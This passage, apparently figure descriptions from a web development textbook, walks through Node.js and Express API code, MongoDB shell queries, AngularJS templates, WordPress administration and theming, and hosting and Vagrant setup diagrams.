return;

}

// ... everything is fine so return contents of file



response.writeHead(200);

response.write(file, "binary"); (a browser window is displayed here, that
shows an image of a waterway running through a city)

response.end();

});

});

});

server.listen(7000, "localhost");

console.log("Server running at http://127.0.0.1:7000/");



The code shows a statement “var books = require('./routes/books');” labeled
as “Node.js will look for a file called books.js in a subdirectory named
routes” and a statement “books.defineRouting(app);” labeled as “This is
defined within books.js.”

It also shows two browser windows, in the first, the address in the address bar
is labeled as “Request for all books” and it contains text which is labeled as
“Service returns requested data in JSON format; This isn't for users. This
service will likely be requested asynchronously in JavaScript using
something like jQuery's $.get().” In the second browser window address in
the address bar is labeled as “Request for specific book.”



The code is displayed under heading, "web-service.js" as follows:

var parser = require('body-parser');

var express = require('express');

var app = express();

// use the books module we have defined

var books = require('./routes/books'); (Text here reads, "Node.js will look for
a file called books.js in a subdirectory named routes.")

// define routes

books.defineRouting(app); (Text here reads, "This is defined within
books.js")

// this tells node to use the json and HTTP header features

// in body-parser module

app.use(parser.json());

app.use(parser.urlencoded({

extended: true

}));

app.listen(7000, function () {

console.log('listening on port 7000');

});

Two browsers are displayed after this code. First browser has url,
"127.0.0.1:7000/api/books/". Text pointing to this url reads, "Request for all



books". Screen displays following content:

[{"id":484, "isbn10":032179477X"....

.....

...."title": "Adaptive Filter"

Text pointing to the data in the screen reads, "Service returns requested data
in JSON format...This isn't for users. This service will likely be requested
asynchronously in JavaScript using something like jQuery's $.get()".

Second browser has the url, "127.0.0.1:7000/api/books/0321826132". Text
pointing to this url reads, "Request for specific book". Screen displays the
following content:

[{"id":589, "isbn10":0321826132"....

.....

...."title": "College Algebra with Modeling and Visualization"...

Next part of the code, displayed under the title "book.js", is as follows:

var fs = require('fs'); (Text here reads, "modules can require other modules")

module.exports = { ( Text here reads, "all functions in a module are contained
within this object")

defineRouting: function(app) { (Text here reads, "remember functions
defined in an object literal use the property name as the function name.")

var books;

fs.readFile('books.json', function (err,data) {

if (err) {

console.log('unable to read books.json'); (Text here reads, "In this example,



the book data is contained within a JSON text file. Later in chapter, we will
retrieve data from a database.")

}

else {

books = JSON.parse(data);

}

});

(Text here reads, "handle requests for [domain]/api/books")

app.route('/api/books')

.get(function (req,resp) {

resp.json(books); ( Another text here reads, "send all the books as JSON
string")

});

(Text here reads, "handle requests for a specific book: e.g.,
[domain]/api/books/0321886518")

app.route('/api/books/:isbn')

.get(function (req,resp) {

var isbn = req.params.isbn;

// first see if the requested isbn exists

var book = module.exports.findByISBN(isbn, books); (the line,
module.exports, points to findByISBN, function that is displayed next)

if (book == undefined) {



resp.json({ message: 'Book not found' });

}

else {

resp.json(book); (Text here reads, "return the requested book as JSON
string")

}

});

},

findByISBN: function (isbn, books) {

var b;

for (var i=0; i<books.length; i++) {

if (books[i].isbn10 == isbn) {

b = books[i];

}

}

return b;

},

};



Illustration shows four steps of a chat interaction. In step 1, a notice request is
sent for server. A browser window is shown with url, 127.0.0.1:7000.

Step 2 shows the username entered in a message box. The message box
reads:

"127.0.0.1: 7000 says:

What's your username?

"Randy" (is entered in the input field)

In step 3, application sends different messages for new connections. Two
browsers are shown with chat windows opened for Janet and Randy. The chat
windows show the following entries:

Randy has joined

Janet has joined

Ricardo has joined

In step 4, Ricardo enters a message in his chat window as follows:

"This is a good example".

Message is seen in the chat windows of all logged in users, as:

Chat[Randy]

Randy: Hello everyone

Ricardo: This is a good example

Chat[Janet]

Randy: Hello everyone



Ricardo: This is a good example



Illustration shows a user sending requests to a "Load Balancer". The load
balancer routes request to a row of four web servers, which in turn update
two data servers.

User performs two actions via "Load Balancer".

First action is labeled as "update ABC". Load balancer routes this request to
one of webservers, which updates one of data servers.

Second action is labeled as "retrieve ABC". Load balancer receives this
request and routes it to a different webserver, which in turn updates a
different data server.

Text displayed next to servers reads, "Problem: how to ensure that this
retrieval sees the updated version of ABC."



Illustration shows three data servers, one of which is labeled as "Master", and
the other two as "Subordinate". Each of them is connected to its own web
applications. Text next to the webapplications connected to master data
server reads, "These applications can read and modify data in the master".

Another text next to the web applications connected to the subordinate data
server reads, "These applications can only read data in the subordinates".

Arrows are drawn from the master data server to the two subordinate servers.
Text reads, "Modifications to master data are propagated out to all
subordinates".



Illustration shows three data servers, one of which is labeled as "Master
(active)", and other two as "Master (passive)". Master(active) is accessed by
web applications.

Arrows are drawn from Master(active) server to two Master(passive) servers.
Text next to arrows reads, "Modifications to master data have to be
propagated out to the backup masters".

Text next to Master(passive) databases reads, "The passive masters will only
be used if the active master fails or is taken off-line for maintenance".



Illustration shows three data servers which are labeled as "Master". Each of
these servers are accessed by their own web applications. Text next to
applications reads, "These applications can read and modify data in the
masters".

Arrows are drawn from one of these servers to other two. Two texts next to
the arrows read as follows:

"Modifications to master data have to be propogated out to all other masters".

"There can be data inconsistencies while changes are being synchronized".



Illustration shows two web applications connected to a "Query router". Query
router has a server and a database. Database is further connected to three
shards, labeled as "Shard 1", "Shard 2", and "Shard 3". Each shard is a replica
set, containing a "Master" server with database, and two subordinate servers
with their own databases. Shard 1 has 1-25 GB database in its master, shard 2
has a 26-50 database, while shard 3 has a 51-75 database.

Web applications send queries to query router. First application sends a query
which reads, "I want info for item #76AG76GH5". Query from second
application reads, "I want info for item #4529JH6FD5D". Text next to
database of query router reads, "The data in a large database is split across
multiple shards".



Illustration shows two tables. First table shows five rows of data under
following four columns:

ID: Title: ArtistID: Year

345: The Death of Marat: 15: 1793

400: The School of Athens: 37: 1510

408: Bacchus and Ariadne: 25: 1520

425: Girl with a Pearl Earring: 22: 1665

438: Starry Night: 43: 1889

Second table shows five rows of data under following two columns:

ID: Artist

15: David

22: Vermeer

25: Titian

37: Raphael

43: Van Gogh

ArtistID, 43 in first table is joined with Id, 43 in second table. Column
headers are marked as "Field" and cell content is marked as "Record".

Illustration next shows following code block, titled as "Collection".

{

"id" : 438,



"title" : "Starry Night",

"artist" : {

"first": "Vincent",

"last": "Van Gogh",

"birth": 1853,

"died": 1890,

"notable-works" : [ {"id": 452, "title": "Sunflowers"},

{"id": 265, "title": "Bedroom in Arles"} ]

},

(above code block is marked as "Nested Document")

"year" : 1889,

"location" : { "name": "Museum of Modern Art",

"city": "New York City",

"address": "11 West 53rd Street" }

},

(The code up to this point is marked as "Document")

{

"id" : 400,

"title" : " School of Athens",

"artist" : {



"known-as": "Raphael",

"first": "Raffaello",

"last": "Sanzio da Urbino",

"birth": 1483,

"died": 1520

},

"year" : 1511,

"medium" : "fresco",

"location" : { "name": "Apostolic Palace", (the label "location" is marked as
"Field")

"city": "Vatican City"}

}



Figure shows two windows. First window shows a code below following
text:

"MongoDB daemon process needs to be started in a sparate terminal
window"

~/workspace $ mongod

mongod --help for help and startup options

2016-08-03T20:14:00.020+0000 [initandlisten] MongoDB starting : ...

2016-08-03T20:14:00.020+0000 [initandlisten] db version v2.6.11

2016-08-03T20:14:00.020+0000 [initandlisten] git version: ...

...

2016-08-04T17:00:49.737+0000 [initandlisten] waiting for connections on
port 27017

Second window shows the following text at the top:

"The MongoDB shell in another window lets you work with the data".

Window displays MongoDB shell, with appropriate texts at specific lines, as
follows:

~/workspace $ mongo

MongoDB shell version: 2.6.11

connecting to: test

> use funwebdev (a text here reads, "Specifies the database to use (if it
doesn't exist it gets created)")

switched to db funwebdev



>

>

> db.art.insert({"id":438, "title" : "Starry Night"}) (Text pointing to "art" in
this line reads, "Specifies the collection to use (if it doesn't exist it gets
created)". Another text pointing to "insert" reads, "Adds new document"

WriteResult({ "nInserted" : 1 })

> db.art.insert({id:400, title : " School of Athens"})

WriteResult({ "nInserted" : 1 }) (Text pointing to "title" in the two
WriteResult lines above reads, "Quotes around property names are optional")

Text here reads, "The MongoDB shell is like the JavaScript console: you can
write any valid JavaScript code">

> for (var i=1; i<=10; i++) db.users.insert({Name : "User" + i, Id: i})

>

> db.art.find() (a text here reads, "returns all data in specified collection")

{ "_id" : ObjectId("57a3780476..."), "id" : 438, "title" : "Starry Night" }

{ "_id" : ObjectId("57a378..."), "id" : 400, "title" : " School of Athens" }

>

> db.art.find().sort({title: 1}) (a text here reads, "Sorts on title field
(1=ascending)")

...

> db.art.find({id:400}) (a text here reads, "Searches for object with id = 400")

...



> db.art.find({ id: {$gte: 400} }) ( a text here reads, "Searches for objects
with id >= 400")

...

> db.art.find( {title: /Night/} ) (a text here reads, "Regular expression
search")

...

> quit()

~/workspace $

Text pointing to next part of code reads, "Imports JSON data file into
funwebdev database in the collection books."

~/workspace $ mongoimport --db funwebdev --collection books --file
books.json --jsonArray

connected to: 127.0.0.1

2016-08-04T19:12:28.053+0000 check 9 215

2016-08-04T19:12:28.053+0000 imported 215 objects

~/workspace $



MongoDB query is displayed as follows:

db.art.find(

{

title: /^ /,

"artist.died": { $lt: 1800 }

},

{

title: 1,

year: 1,

"artist.last": 1,

"location.name: 1

}

).sort({year: 1,title : 1}).limit(5)

Command in first parenthesis is labeled as "Criteria". Command within
second paranthesis is labeled as "Projection". Last line of query is labeled as
"Cursor Modifiers".

SQL equivalent of this query is shown as follows:

SELECT

title, year, artist.last,

location.name



FROM

art

WHERE

title LIKE " %"

AND

artist.died < 1800

ORDER BY

year, title

LIMIT 5



Figure shows four screens. All screens show different pages under same url.
Text pointing to these urls reads, "Notice that only a single page address is
used for most of the application's functionality."

First screen shows a login window titled as "Pow-B Employee Login",
Window shows a username and password field along with a button labeled as
"login". These fields display data.

Second screen shows a homepage with a left panel titled "Pow-B". A
welcome message is displayed for user, Rebecca Austin, in left panel, along
with links for dashboard, About, Documentation, and Logout.

Page displays a table titled as "Rebecca's To-do list". Table shows a list of
activities under following column headers:

Date, Priority, Status, Description, Update and Delete.

Page also displays a button at bottom, labeled as "Create a new TO DO".

Third screen shows a window titled University of Management and
Technology. Window displays an address and a location map.

Fourth screen shows a notification titled as "Rebecca Edit this To Do and
save or cancel". Notification window shows the task name, priority and status
along with a "Save" button.

Screen also shows a calendar for August 2015, with the date 31st highlighted.



Illustration displays following code with explanatory texts:

<html ng-app> (a text pointing to "ng-app" reads, "A directive for
designating the root AngularJS element")

<head>

<title>Chapter 20</title>

<script src="https://code.angularjs.org/1.5.0/angular.min.js" >

</script>

</head>

<body>

Enter your name: <input type="text" ng-model="name" /> (Text pointing to
"ng-model="name" reads, "A directive for saving the field value in the
Model")

<p>You entered: {{ name }} </p> (Text pointing to "name" reads, "A data
binding expression")

<hr>

Enter your city: <input type="text" ng-model="city" />

<p>You entered: {{ city }} </p>

</body>

</html>

Entire code block is labeled as "A template".

Illustration also shows two windows. The first window shows the following
content:



Enter your name:

You entered:

Enter your city:

You entered:

"Enter your name" and "Enter your city" are labels for input boxes.

Second window shows the same content as above along with user inputs as
follows:

Enter your name: Randy

You entered: Randy

Enter your city: Pari

You entered: Pari

Text "Pari" above appears next to "You entered" as the user types into "Enter
your city" textbox".



Illustration shows the following code:

<html ng-app="demo"> (Text here reads, "Now this directive is specifying
the module used in the application"

...

<body ng-controller="myController"> (Text pointing to myController reads,
"This element is going to use a controller to get its data")

<div id="search">

City Search: <input type="text" ng-model="search" /> (Text pointing to ng-
model="search" reads, "Save the user's input in a model property named
search")

</div>

<table>

<tr ng-repeat="city in cities | filter:search | orderBy: 'name'">

(Text pointing to "ng-repeat="city in cities" reads, "A directive to loop
through a collection named cities (which is defined in the controller)")

(Another text pointing to "filter: search" reads, "Uses filters to alter how this
element works. In this example, the filter filter and the orderBy filter are used
to modify how the ng-repeat works. Here the search refers to data item in the
model.")

<td>{{city.name }}</td>

<td>{{city.country}}</td>

(a text pointing to "city.country" reads, "Data bind to values in the
collection")

</tr>



</table>

</body>

</html>

Next part of code is shown below as:

(A module is an AngularJS container for the different components used in the
application).

var myapp = angular.module('demo',[]);

myapp.controller('myController', function ($scope) {

(Text pointing to myController reads "Add a controller to the module named
myController").

(Another text pointing to "$scope" reads, "$scope variable is passed (injected
into)the controller by AngularJS").

$scope.cities = [{name: 'Calgary', country: 'Canada'},

{name: 'Toronto', country: 'Canada'},

{name: 'Boston', country: 'United States'},

{name: 'Seattle', country: 'United States'},

{name: 'Almeria', country: 'Spain'},

{name: 'Barcelona', country: 'Spain'}];

});

(Text pointing to $scope.cities reads, "The $scope variable is used to store the
model (data). Here we are defining an array of object literals named cities").

Page shows two screens. First screen displays a search box and following



contents beneath it:

Almeria : Spain

Barcelona: Spain

Boston : United States

Calgary : Canada

Seattle : United States

Toronto : Canada

(Text next to the first screen reads, "The result in the browser (notice the sort
order))".

Second screen shows a letter "B" entered in the Search box. Content shown
below search box depicts:

Barcelona: Spain

Boston: United States

Text next to screen reads, "the filter alters the displayed cities based on the
current value of the Search text field."



Illustration shows two windows. First window shows a search box on top,
labeled as "Country or Capital Search:". It displays three columns labeled as
"Country","Population", and "Capital", with following data:

Aland Islands: 26,711: Mariehamm

Albania: 2,986,952: Tirana

Andorra: 84,000: Andorra la Vella

Austria: 8,205,000: Vienna

Belarus:

Belgium:

Bosnia and Herzegovina:

Bulgaria:

Croatia:

In second window, results are filtered by entering "Bel" in search box. Text
pointing to "Population" column link reads, "Clicking on column link
changes the sort order".

Columns display following data:

Serbia and Montenegro: 10,829,175: Belgrade

Belgium: 10,403,000: Brussels

Belarus: 9,685,000: Minsk

Serbia: 7,344,847: Belgrade



The thought bubble shows the words PHP, Workflow, Asset management,
CSS, Content editors, Template management, Search, Version control,
HTML, Menu control, User management, and jQuery.



Data in percentage on first pie chart representing top 17,000,000 sites is as
follows:

Joomla!: 7

Drupal: 2

Blogger: 2

Others, 38

WordPress: 51

Data in percentage on second pie chart representing top 10,000 sites is as
follows:

WordPress: 37

Drupal: 8

Google SA: 3

Adobe CQ: 3

Others: 49



Top row of editor shows the title on left as “Edit Post” followed by “Add
New” button. On right of top row “Screen options” and “Help” dropdown
buttons are given.

Next two rows show status of the post edits. Text reads, “Post restored
successfully” and “Undo” option on first line and in the second line, text
reads as, “Post restored to revision from 17th January 2014 at
1:12[Autosave]”.

Next part of the editor screen is divided into two parts. Title on the left reads:
“Working on WordPress CMS Chapter”, link of the post, followed by “Edit”,
View Post” and “Get Shortlink” buttons on second line. Next three lines on
left have text editing options “TinyMCE WYSIWYG” editor and few buttons
“Add Media”, “Visual” and “Text(HTML)”. Last part on left shows large
display area depicting content written for “funwebdev.com”.

On the right side of screen, there are publish options on first block titled
“Publish” followed by “Status”, “Visibility”, “Revisions” and “Published
on”. This is followed by “Purge from cache” and “Move to thrash” options
next to an “Update” button. Second block has “Categories” tabs with “All
categories” and “Most Used” options. “All categories” tab is visible and
options “Chapter” and “News” are selected in the list with other options,
“Code”, “Lab”, “Presentations”, “Publishing”, Scholarship” and “Teaching”.



Top row of editor shows “Add Media” button, “Visual” and “Text” tabs of
which visual tab is selected.

Next two rows of visual tab display all text editing options, followed by
display window showing text “Content edited through a WYSIWYG editor”.
Last two rows show data about the edited text: “Path: address”, “Word count:
6” “Draft saved at 12:42:27 pm”.



Top row of editor shows "Add Media" button, "Visual" and "Text" tabs, of
which "text" tab is selected.

Next two rows of text tab display all text editing options for HTML, followed
by display window showing HTML code. Code lines are as follows:

<address><span style="color: #000000;">Content</span> <span style =
"color: #993300;">edited<</span> <span style = "color:
#808000;">through</span>

<span style = "text-decoration: underline;">a<</span>

<span style = "color: #ff00ff;">WYSIWYG<</span>

<span style = "color: #993300;">editor<</span></address><address>
</address>

Last row shows information about the edited text: "Word count: 6" "Draft
saved at 12:42:27 pm".



Illustration shows “TinyMCE” with a style dropdown box depicting styles
from a predefined CSS stylesheet. Dropdown box with title “Styles” lists
following options to choose from:

aligncenter

alignleft

alignright

wp-caption

wp-caption-dd



Diagram shows "content" in the center, with sidebar template on the left and
wide template depicted on the right. Components and details of sidebar
template are :

Header: top row

Menu: second row

Breadcrumb, Content (largest component), and Sidebar: in center block

Footer: last row

Components and details of wide template are :

Header: top row

Menu: second row

Breadcrumb: third row:

Content: fourth row (largest component)

Footer: last row



Diagram depicts "content creator" as a part of "content publisher", which is a
part of "site manager", which, in turn is a part of "super administrator". Roles
followed by each of them are:

1. "Content Creator"

Create new web page

Edit existing web page

Save their edits as drafts

Upload media assets

2. "Content Publisher"

Publish content

3. "Site Manager"

Manage the menu(s)

Manage installed widgets

Manage categories

Manage templates

Manage CMS user accounts

Manage assets

4. "Super Administrator"

Install/Update

CMS Install/Manage plugins



Manage backups

Manage Site Manager

Interface with server



Five dashboards in Wordpress are “Administrator”, “Author”, “Editor”,
“Contributor” and “Subscriber”. Following are list of respective dashboard
menu items from each role:

Administrator: Posts, Media, Pages, Comments, Appearance, Plugins, Users,
Tools, Settings

Collapse Menu.

Author: Posts, Media, Profile, Tools, Collapse Menu.

Editor: Posts, Media, Pages, Comments, Profile, Tools, Collapse Menu.

Contributor: Posts, Comments, Profile, Tools, Collapse Menu.

Subscriber: Profile, Tools, Collapse Menu.



Workflow starts with a photographer submitting a photo labeled "open-
box.jpg" to "Media Pool". That photo is used in "Draft story v 1.0" and a
journalist "Submit story" using photo and draft. An editor is notified to "Edit
story" and then draft becomes "Draft story v 2.0". A publisher gets notified
who "Approve (publish) story" and publishes "Published story".



Portal has a title "Media Library" with "Add new" button in top row left
corner. On right of top row "Screen options" and "Help" drop down buttons
are given. Second and third rows show details, actions and page count of
images in the library. Fourth row displays items and details of image files in
media library. Top row of the display shows column headers containing,
selection radio button, illustration icon, "File", "Author" "Uploaded to",
comments box symbol and "Date'. Four rows depict data details as follows:

1. Radio button: none is selected

2. Illustration icon: small icon of the image

3. File : "Chapter-5-banner JPG", Chapter-1-banner JPG", "Chapter-6-41
JPG" and "Chapter-6-25 JPG"

4. Author: name "randy" on all four images

5. Uploaded to: (Unattached) Attach on all four images

6. Comment box icon: Zero comments on all four images

7. Date: 2013/03/03, 2013/03/03, 2013/03/01, 2013/03/01



Left panel of the screenshot shows five menu options, “Insert Media”,
“Create Gallery”, “Set Featured Image”, Insert from URL” and “NextGEN
Gallery” of which “Insert Media” is selected. Center panel titled “Inset
Media” has two tabs, “Upload Files” and “Media Library”. Media library tab
is opened and that displays a dropdown box showing “Images”, a search box
and number of image icons displayed in a grid. Image labeled “Chapter-06-
18.jpg” is selected from that panel. Right panel displays “Attachment details”
of the selected file. The last row displays a button labeled “Insert into Page”.



Top header of dashboard titled “Fundamentals of Web development” shows
number 13 with refresh icon next to title circled in red. Row below that says
“WordPress 4.5.3 is available! Please update now”, and is circled. Two menu
items on right panel show “Updates” and “Plugins” which are also circled in
red.



Main folder labeled "wordpress" has other folders, subfolders and files listed
with details as follows:

wp-admin: "wp-admin holds the code for admin functionality."

wp-content: "wp-content contains files you will modify. It also consists
themes, plugins, and uploads, which are stored here."

plugins: subfolder of wp-content

themes: subfolder of wp-content

upgrade: file of wp-content

uploads: subfolder of wp-content

wp-includes: "wp-includes contains core WordPress class implementations."



Left diagram shows server with multiple WordPress installations. Site A, B
and C with their own directory structure from multiple installations are
connected to single server individually. Right side of the diagram shows
multisite WordPress installation. In this, Site A, B and C refer to single
directory structure from single WordPress installation. Directory structure in
both diagrams is given as follows:

wordpress

wp-admin

wp-includes

wp-content



Diagram shows five components, which are used to generate HTML output
listed as follows:

1. Posts and pages store content and metadata about category and tags.

2. Post/page output is controlled by the active theme.

3. Each theme has templates that control the appearance of the sidebar,
header, posts, pages, and footer. They also contain CSS styles.

4. Template files can make use of installed widgets.

Plugins (arrow drawn between posts and pages and widgets) add new
functionality, often as widgets or page types.



Left part of the display shows widget labeled "Categories". Widget contains
textbox labeled "Title" with text "Categories", followed by three checkboxes
labeled "Display as dropdown", "Show post counts" and "Show hierarchy".
"Show post counts" box is depicted as selected. Right part of the display is
labeled as "Categories." It shows list of category and specific content count in
brackets next to them. Items listed against "categories" are as follows:

Chapter (6)

Lab (1)

News (10)

Presentations (2)

Publishing (1)

Teaching (1)



Permalinks module labeled “Common Settings” shows six rows with radio
button in first column followed by name and link in next columns. Names
and link details are listed as follows:

Default: http://funwebdev.com/?p=123

Day and name: http://funwebdev.com/2013/10/20/sample-post/

Month and name: http://funwebdev.com/2013/10/sample-post/

Numeric: http://funwebdev.com/archives/123

Post name: http://funwebdev.com/sample-post/

Custom Structure: http://funwebdev.com

Radio button for “custom structure” is selected. A text box is shown next to
the link, depicting “/%category%/%postname%/.”



Figure shows a tree structure with four levels of objects. Title of the tree
reads, "Which page?". Title consists of error (404), search result, single
post/page, home page, blog posts, and archive. Each of these objects are
classified as a type of node. Hierarchy flows from page to posts to "php" files
and ends with "index.php" file. Details are as follows:

Which page?

Error (404): 404.php, index.php

Search result: search.php, index.php

Single post/page: Post (further subdivided into post custom, post
attachment, and post blog), and Page.

Post Custom: single-posttype.php: single.php: index.php

Post Attachment: attachment.php: single.php: index.php

Post Blog: single-post.php: single.php: index.php

Page: page.php: index.php

Home Page: Page, and post

Page: page.php: index.php

Posts: home.php: index.php

Blog Posts: home.php: index.php

Archive: Author, tag, date, and category

Author: author.php: archive.php: index.php

Tag: tag.php: archive.php: index.php

Date: date.php: archive.php: index.php



Category: category.php: archive.php: index.php



Left side of the screenshot displays dashboard menu. Middle panel labeled
“Themes” displays five screens with different themes in two rows. In the
second row, last slot depicts a vacant icon labeled “Add new Theme” with a
plus sign.



Illustration shows HTML code on left, content template in center and
"Content matching the query" shown as pages on the right side. HTML code
reads as:

<?php

 get_header();

 if (have_posts()) :

   while (have_posts()) :

     the_post();

     the_content();

   endwhile;

 endif;

 get_sidebar();

 get_footer();

?>

Content template has following items:

"Header" on the top.

"Sidebar", "content 1", "content 2",...., "content n" in the middle part.

"Footer" at the bottom.

"Content matching the query" points toward depicted "content" in the center.



Template screen is divided into two parts. Large part on the left depicts a
large textbox prompting, "Enter title here". Below that, a button prompts
"Add Media" and tabs "Visual" and "Text" of which "visual" tab is selected.
Next two rows of visual tab displays all text editing options, followed by
display window area for writing the content.

On the right, there are "publish" options on the top, followed by "Page
attributes" menu. This menu has "Parent" and 'Template" selection dropdown
menu. Items of "template" dropdown are "Default template", "App
Template", "Front Page Template", and "Textbook Example".

Bottom line reads, "Need Help? Use the help tab in the upper right of your
screen".



HTML code and respective display details are as follows:

the_title(): "Testing themes"

Text pointing to "This page by: Ricardo", reads,
"the_author_meta('display_name')"

Text pointing to "Last edited: Jun 29, 2013", reads, "the_date()".

Text in a text box reads, "PageID: 397, Page Type: page Edit this page"

Within the text box, there is another text box, reading, "Username:
admin", "User first name: Ricardo", "User last name: Hoar", and "User
ID: 1".

Text pointing to "Username: admin" reads, "wp_get_current_user()-
>user_login".

Text pointing to "User first name: Ricardo" reads,
"wp_get_current_user()->?rstname".

Text pointing to "User lastname: Hoar" reads, "wp_get_current_user()-
>lastname".

Text pointing to "User ID: 1" reads, "wp_get_current_user()->ID".

Below the text box, text reads, ""Testing themes is fun thing to do, you
tweak styles and use tags to access Wordpress elements", which is
marked as "the_content()".

In the last row, text depicting different sizes of font reads, "apps
cryptoquipDictionarygamesholidayhostingios6ios7iphone5jewelSlidewebsiteswordpresswordslidewordtheme".
This is labeled as "wp_tag_cloud()".



In the menu on left side different options available are “Dashboard”, “Posts”,
“Textbooks”, “Comments”, “Profile”, “Tools”, and “Contact” are given. Out
of these, “Textbooks” option is highlighted, in which “Add New” option is
also provided. At the bottom, a radio button depicting “collapse menu” is also
depicted.

Middle panel shows “Add new Textbook” title above a textbox followed by
text editor with “Visual” tab selected. The other tab depicted is “Text”.
Below it, different edit tools are provided such as “bold”, “italics”, among
others.

Last two rows display texts “Path: p” and “Word Count: 0”



In the menu on left side different options available are “Dashboard”, “Posts”,
“Textbooks”, “Comments”, “Profile”, “Tools”, and “Contact” are given. Out
of these, “Textbooks” option is highlighted, in which “Add New” option is
also provided. At the bottom, a radio button depicting “collapse menu” is also
depicted.

Middle panel shows “Add new Textbook” title above a textbox followed by
text editor with “Visual” tab selected. The other tab depicted is “Text”.
Below it, different edit tools are provided such as “bold”, “italics”, among
others.

Below it, two rows display texts “Path: p” and “Word Count: 0”

Below it, the text reads, “Please enter the required details for a textbook
here”. Below this, three textboxes are depicted for entering information about
“Publisher”, “Author(s)”, and “Date”.



There are two tables depicted, with titles, "wp_posts", and "wp_postmeta".
These two tables are connected to each other.

Table "wp_posts" shows following items:

ID BIGINT(20)

post_author BIGINT(20)

post_parent BIGINT(20)

post_date DATETIME

post_date_gmt DATETIME

post_content LONGTEXT

post_title TEXT

post_expert TEXT

post_status VARCHAR(20)

comment_status VARCHAR(20)

post_password VARCHAR(20)

post_name VARCHAR(20)

to_ping TEXT

pinged TEXT

post_modified DATETIME

post_modified_gmt DATETIME

post_content_filtered LONGTEXT



post_patrent BIGINT(20)

guid VARCHAR(20)

menu_order INT(11)

post_type VARCHAR(20)

post_mime_type VARCHAR(20)

comment_count BIGINT(20)

Table "wp_postmeta" has following columns:

meta_id BIGINT(20)

post_id BIGINT(20)

meta_key VARCHAR(255)

meta_value LONGTEXT



Illustration shows two screens. Screen in background shows wordpress.com
web page with “Twenty Ten” blog details. Screen in foreground shows travel
template page. An arrow is drawn from background screen to foreground
screen.

Background screen shows a garden view, below which a blog titled “A sticky
post” is written. In the last, there is another blog titled “The Great Wave Off
Kanagawa”.

Top part of the foreground screen shows menu bar with five headers, “Share
your travels”, “Home”, “About”, “Contact” and Browse”. Text pointing to
this bar reads, "header.php”. A menu is displayed on the left side of this page.
Text pointing to the full menu section reads, "sidebar.php". Bottom part of
this page displays a footer section with various options like “Destinations”,
“Links”, and “Connect”, with their further bifurcations below it. Text
pointing to this bar reads, "footer.php”.

Text below these screens reads, “archive.php and single.php both make use
of the other templates.”



In the menu on left side, “Dashboard” is depicted with different options
shown as “Posts”, “Textbooks”, “Travel Album”, “Media”, “Links”, “Pages”,
“Comments”, “Appearance”, “Plugins”, “Users”, “Tools”, “Settings”,
“Facebook”, “Contact”, and “Redirect Menu”. Below it, “collapsible menu”
is depicted. Of these, “Travel Album” is selected with its sub-part as “Add
New”.

Right side of the image shows “Add new Travel Album” as title, below
which a textbox is depicted with prompt shown as “Enter title here”. Below
it, there is a tab, “Add Media” on the left side, and “Visual”, and “Text” tabs
on the right side. Below it, there is an editor panel for writing text in the text
area.

Below it, two rows display texts “Path: p” and “Word Count: 0”

Below it, another panel is labeled as, “Travel details”.

Below it, the text reads, “Please enter the required details for a textbook
here”. Below this, four textboxes are depicted for entering information about
“Continent”, “Country”, and “City”, and “Date”. Textboxes for “Continent”,
and “Country” depict dropdown buttons.



Figure shows a web server that holds three folders. Folders are labeled as
"/home/domainA", "/home/domainB", and "/home/domainC". Three arrows
are shown pointing to server and labeled as "Request domainA", "Request
domainB", and "Request domainC".



Figure shows a web server with a funnel on top of it that holds three smaller
servers labeled as "domainA", "domainB", and "domainC". Requests for
these domains are represented as arrows pointing to web server, labeled as
"Request A", "Request B", and "Request C".



Illustration shows a building with a hoarding that reads ""Data Centers R
Us"". It is protected by multifactor physical security at doors. Two sections of
machines are found inside, with technicians available for support. One
section has ""Climate control"" plus fire suppression units at front and rows
of server racks at back. This section links to a redundant high-speed network
connections that lead out of building.

Other section has two racks of machines. These connect to a redundant power
supply from outside the building.

Illustration also shows an expanded view of a server rack, with various
machines stacked on top of each other. Bottom panel has a redundant power
supply, topped by a RAID file system. Three machines are stacked on top of
each other as follows: Machine C for Linux: Ubuntu, Machine B for
Windows: IIS, Machine A for Linux: CentOS. Top rack has a router that
connects to a redundant internet connection.



The figure shows a computer device with the following marked on it from top
to bottom in that order:

Lower bandwidth Internet connection

Web server

Air conditioner and dehumidifier

Battery (UPS)



Figure shows five horizontal bars one below the other representing multiple
servers. Left part of bars is colored. Approximate memory and cpu utilization
of each server is represented by colored part of bar as follows:

Web server 1 (Linux): 30 percent

Web server 2 (Linux): 20 percent

Data server (Ubuntu): 22 percent

Email server (Windows): 5 percent

Domain server (Windows) 10 percent

Illustration shows a sixth bar at bottom which represents a "host server". This
virtualized server runs all the above five servers in a single machine. Five
colored bands are drawn on bar one after other, with each band representing
the respective server and its memory/cpu utilization. Text next to this bar
reads, "A virtualized server can be much more efficient in terms of energy
consumption and hardware costs."



Type I hypervisor is represented as a box behind a laptop, with parts divided
and labeled inside box. Bottom part of box represents hardware. Layer above
it is the hypervisor. Rest of the box on top is labeled as "virtual machine". It
contains three boxes at bottom, with each of them labeled as "virtual OS".
First OS runs two applications, second runs one application, and third runs
three applications.

Type 2 hypervisor is represented as another box behind a laptop. Bottom part
represents hardware. Layer above it is "host operating system (OS)". Host
runs two applications, and also supports a hypervisor. Hypervisor in turn
supports two squares, labeled as virtual OS. First OS runs two applications,
and second OS runs a single application.



Figure shows a laptop and a box representing a "Type 2 hypervisor". Various
components are drawn and labeled inside this box. A rectangle at bottom of
box represents host OS. It supports two boxes on left, labeled as "local
browser" and "local editor", and two boxes on right, labeled as "hypervisor"
and "vagrant". These two sets of boxes sync with each other. Local editor and
browser access local files. Box representing "Vagrant" retrieves from a box
repository, which is shown as a server stack outside host machine.

"Vagrant" supports two boxes on top of it, with each box labeled as "virtual
box". "Virtual box" on the left has "Linux OS" at bottom, "Apache - mySQL
- PHP" in middle, and "Application 1" on top. "Virtual box" on right has
"Linux OS" at bottom, "Node.js, Mongo nginx" in themiddle, and
"Application 2" on top.



Figure shows a box representing a "Terminal", showing various commands
and outputs. Text below box reads: "This particular box only contains the
operating system (Ubuntu). We will have to install and configure Apache,
mysql, etc. Alternately, we could have instead downloaded a box that already
has this software installed."

Commands inside terminal, and supporting text for each of them are as
follows:

[laptop] randy$ vagrant box add ubuntu/trusty64

==> box : Loading metadata for ... ( a text next to this line reads, "This
downloads the specified ISO box onto your local computer."

[laptop] randy$ vagrant init ubuntu/trusty64

A 'Vagrantfile' has been placed in your directory.

You are now ready to 'vagrant up' ... (Text next to this line reads, "This
initializes the Vagrant configuration file.")

[laptop] randy$ vagrant up

Bringing machine 'default' up ...(Text next to this line reads, " Creates a
